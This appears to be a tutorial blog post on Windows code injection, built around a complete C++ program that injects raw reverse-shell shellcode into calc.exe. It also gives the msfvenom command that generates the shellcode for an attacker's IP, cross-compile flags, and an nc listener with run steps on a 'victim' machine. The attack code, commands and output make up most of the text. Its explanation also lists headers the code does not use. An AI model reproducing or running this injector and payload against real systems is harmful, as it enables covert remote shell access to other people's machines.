Here we will try to perform Code Injection at very basic simple Level.
Let’s say we have a payload and we want to execute it into another process on the same machine. For that we will use Code Injection.
For demonstration we will inject code in calc.exe
.
First I will try to explain the flow of the code with some images.
Steps :
Step 1 ➡ Allocates some memory inside your target process and the size of the buffer has to be at least of size of your payload.
Step 2 ➡ Then copy our payload to the target process calc.exe into the allocated memory.
Step 3 ➡ Ask the system to start executing your payload in a target process, which is calc.exe.
Code
// evil_inj.cpp
#include <stdio.h> // 1
#include <stdlib.h>
#include <string.h>
#include <windows.h>
// reverse shell payload (without encryption)
unsigned char my_payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x00\x6c"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; // 2
unsigned int my_payload_len = sizeof(my_payload); // 3
int main(int argc, char* argv[]) { // 4
HANDLE ph; // process handle // 5
HANDLE rt; // remote thread
PVOID rb; // remote buffer
printf("PID: %i", atoi(argv[1])); // 6
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));// 7
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); // 8
// "copy" data between processes
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL); // 9
// our process start new thread
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL); // 10
CloseHandle(ph); // 11
return 0; //12
}
Explanation
- First, we will include the headers, <stdio.h> , socket.h>, ip.h>, inet.h>, <unistd.h>.
- Generate a Reverse Shell payload for windows using this below command and pass it to unsigned character array,
my_payload[]
.
Command:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker's ip> LPORT=4444 -f c
3. Calculate the size of payload created in Step 2 with the help of sizeof() function and store its value in a variable, my_payload_len
.
4. Defines the main entry point of a program that accepts command-line arguments, where argc
is the argument count and argv
is an array of argument strings.
5. Declare a variable ph
and rt
of HANDLE
type and rb
of PVOID
.
6. This line uses atoi() to convert argv[1]
to an integer and printf() to print it with the label "PID: "
.
7. Get a handle to a running process using PID from argv[1]
and get the all possible permission on it using OpenProcess() function.
8. Allocate a memory buffer of payload size to process opened in Step 7 using VirtualAllocEx() function.
9. Using the WriteProcessMemory() function copy payload too the memory buffer created in Step 8.
10. Using CreateRemoteThread() function create a new thread which start running our payload copied to a memory block we created in Step 8.
11. Close the handle created in Step 7.
12. Return 0 is all our above code run successfully without error.
Compile and Run
Compile
On Attackers Machine:
x86_64-w64-mingw32-gcc evil_inj.cpp -o evil2.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
Run
On Attacker’s Machine:
nc -lvnp 4444
On Victim’s Machine:
Step 1 ➡ Open Calculator.
Step 2 ➡ Start Process Explorer and check PID of calc.exe
Here, the PID(Process ID) is found - 2744
Step 3 ➡ Run this command in CMD
.\evil2.exe 2744
By clicking on calc.exe in Process Explorer we can see the propeties of exe. In Properties there is a section named “TCP/IP” which show the connection’s of the exe over the network.
In it we can see our connection to the Attacker’s IP: